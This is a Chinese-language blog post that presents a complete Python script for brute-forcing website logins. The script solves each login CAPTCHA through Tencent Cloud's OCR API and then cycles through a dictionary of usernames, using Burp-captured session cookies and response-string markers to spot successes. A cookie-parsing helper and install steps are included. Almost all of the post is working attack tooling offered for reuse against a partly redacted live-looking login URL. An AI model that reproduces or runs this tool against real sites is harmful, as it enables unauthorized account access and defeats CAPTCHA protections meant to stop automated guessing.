前言
现在基本上是个站就有验证码系统来防止爆破攻击(或者防爬虫?)。而当验证码没法重放和绕过的时候,想要使用burpsuite的intrude模块来爆破就不太现实。这时想到可以通过图片识别验证码来进行爆破啊。
于是写了个利用tesserocr识别验证码爆破的脚本。
结果tesserocr识别库识别率太可惜了(暂时不会训练,老菜逼了)。因此选择现成的ocr来识别验证码。最终选定的是腾讯的orc。ps:识别率可以,就是免费次数有点少。
PS:测试用,没写线程,爆破速度一般。!!腾讯ocr免费只有1000次!!
一、爆破脚本
代码如下(示例):
import base64
import re
import requests
from tencentcloud.common import credential
from tencentcloud.common.profile.client_profile import ClientProfile
from tencentcloud.common.profile.http_profile import HttpProfile
from tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException
from tencentcloud.ocr.v20181119 import ocr_client, models
def GetImg(URL,cookie_dict):#请求获取验证码
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}
img=requests.get(url=URL,headers=headers,cookies=cookie_dict)
base64_data= base64.encodebytes(img.content)
base64_data= 'data:image/png;base64,%s' % base64_data.decode()
patten=re.compile('\s')
return patten.sub('',base64_data)
def API(img_base64):#调用腾讯ORC API 获取识别结果
try:
cred = credential.Credential("AKIxxxxxxxxxxxWJsCxF2b", "azDnvxxxxxxv73jbNQG")
#自己改API认证
httpProfile = HttpProfile()
httpProfile.endpoint = "ocr.tencentcloudapi.com"
clientProfile = ClientProfile()
clientProfile.httpProfile = httpProfile
client = ocr_client.OcrClient(cred, "ap-beijing", clientProfile)
req = models.GeneralBasicOCRRequest()
params = '{\"ImageBase64\":\"{'+img_base64+'}\"}'
req.from_json_string(params)
resp = client.GeneralBasicOCR(req)
return resp.to_json_string()
except TencentCloudSDKException as err:
pass
def reCode(response):#正则匹配api中返回的code
patten=re.compile('DetectedText\": \S{3,}\"')
response=patten.search(response).group()
return response[16:-1]
def TrueCode(URL,cookie_dict):#获取能识别的验证码
img_base64=GetImg(URL,cookie_dict)
response=API(img_base64)
try:
result=reCode(response)
return result
except:#若没找到验证码则输出false
return 'false'
def Login(URL,success_str,code_error,data_para,cookie_dict):#使用识别到的code(不一定正确)去尝试登录(因为可能图片无法识别等)
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}
r=requests.post(url=URL,headers=headers,data=data_para,cookies=cookie_dict)#请求方式可能要改
print(r.text)
if success_str in r.text:#成功登录
return 'success'
elif code_error in r.text:#验证码错误
return 'code_error'
else:#账号或者密码错误
return 0
def intrude(login_url,success_str,code_error,target,cookie_dict):#最后一层了,不套了不套了
code=TrueCode(code_url,cookie_dict)
while(code=='false'):
code=TrueCode(code_url,cookie_dict)
data_para={
"uname":target,#用户名或者密码
"password":"b59c67bf196a4758191e42f76670ceba",
"vcode":code,#code的键
"login":"1"
}#提交参数
status=Login(login_url,success_str,code_error,data_para,cookie_dict)
if(status=="success"):
print(target)
return 'login_success'
elif(status=='code_error'):
return 'code_error'
if __name__ == '__main__':
#只能操作一些简单的验证码,同时要求验证码错误和账号密码错误回显不同才行
#需要修改以下有注释的参数
#同时还有intrude函数里面的data_para参数,有时还需要自己改http头
#还有Login函数里面的请求方式也要根据具体情况改
#把腾讯ocr的API改成自己的,上腾讯云自己申请,一天1000次免费,超过收钱!!注意了!!
#使用前需要安装腾讯SDK组件 pip install tencentcloud-sdk-python -i https://mirrors.tencent.com/pypi/simple/ --upgrade tencentcloud-sdk-python
code_url=r'http://xxx/xxx'#获取验证码的url
login_url=r'http://td.xxxx.cn/user/login'#登录URL
success_str='1113'#登录成功标志字符,其实就是看响应体,比如这里用户名存在则响应体中有1113字符
code_error='7777'#验证码错误的标志,其实就是看响应体,比如这里验证码错误响应体有7777字符
cookie_dict={'UM_distinctid':'17486b76731166-05fxxxxf754-xxxxf-1fa400-17486b76732533','PHPSESSID':'mklsgxxxxf2uf689fao55'}#附带的生成脚本,在bp中抓包,复制cookie的值到cookie.txt中,运行cookie_dict_genrel.py
fp=open('target.txt','r')#字典路径
for i in range(0,5):#爆破次数
target=fp.readline()
patten=re.compile('\s')
target=patten.sub('',target)
result=intrude(login_url,success_str,code_error,target,cookie_dict)
if(result=="login_success"):
exit()
while(result=="code_error"):#此处不用改,当验证码出错时,不换密码重新操作一次
result=intrude(login_url,success_str,code_error,target,cookie_dict)
二、使用步骤
1.安装模块
pip install requests
pip install tencentcloud-sdk-python -i https://mirrors.tencent.com/pypi/simple/ --upgrade tencentcloud-sdk-python #安装腾讯SDK
2.具体使用
1.具体使用流程见上面脚本代码注释部分
2.这里贴上生成cookie的脚本,只需从burpsuite上复制cookie,在下面的脚本同目录下新建一个cookie.txt然后粘贴进去,运行即可获得字典格式的cookie,然后复制到爆破脚本的cookie参数里
3.运行起飞
cookie_dict_general.py
import re
fp = open("cookie.txt", "r")
cookie_list = fp.readlines()
for cookie in cookie_list:
cookie = re.compile('\s').sub('', cookie)
# 将字符串的cookie处理成字典
patten = re.compile(";")
cookie = patten.split(cookie)
cookie_dict = {}
for i in range(len(cookie)):
cookie_dict[cookie[i].split('=')[0]] = cookie[i].split('=')[1]
print(cookie_dict)
总结
因为只有1000次免费的机会,使用的时候注意点,免得把钱扣光。毕竟老菜逼了,不会训练tesserocr的识别库只能用用腾讯的ocr才能混日子(别骂了别骂了)。等以后有空再学习怎么训练吧。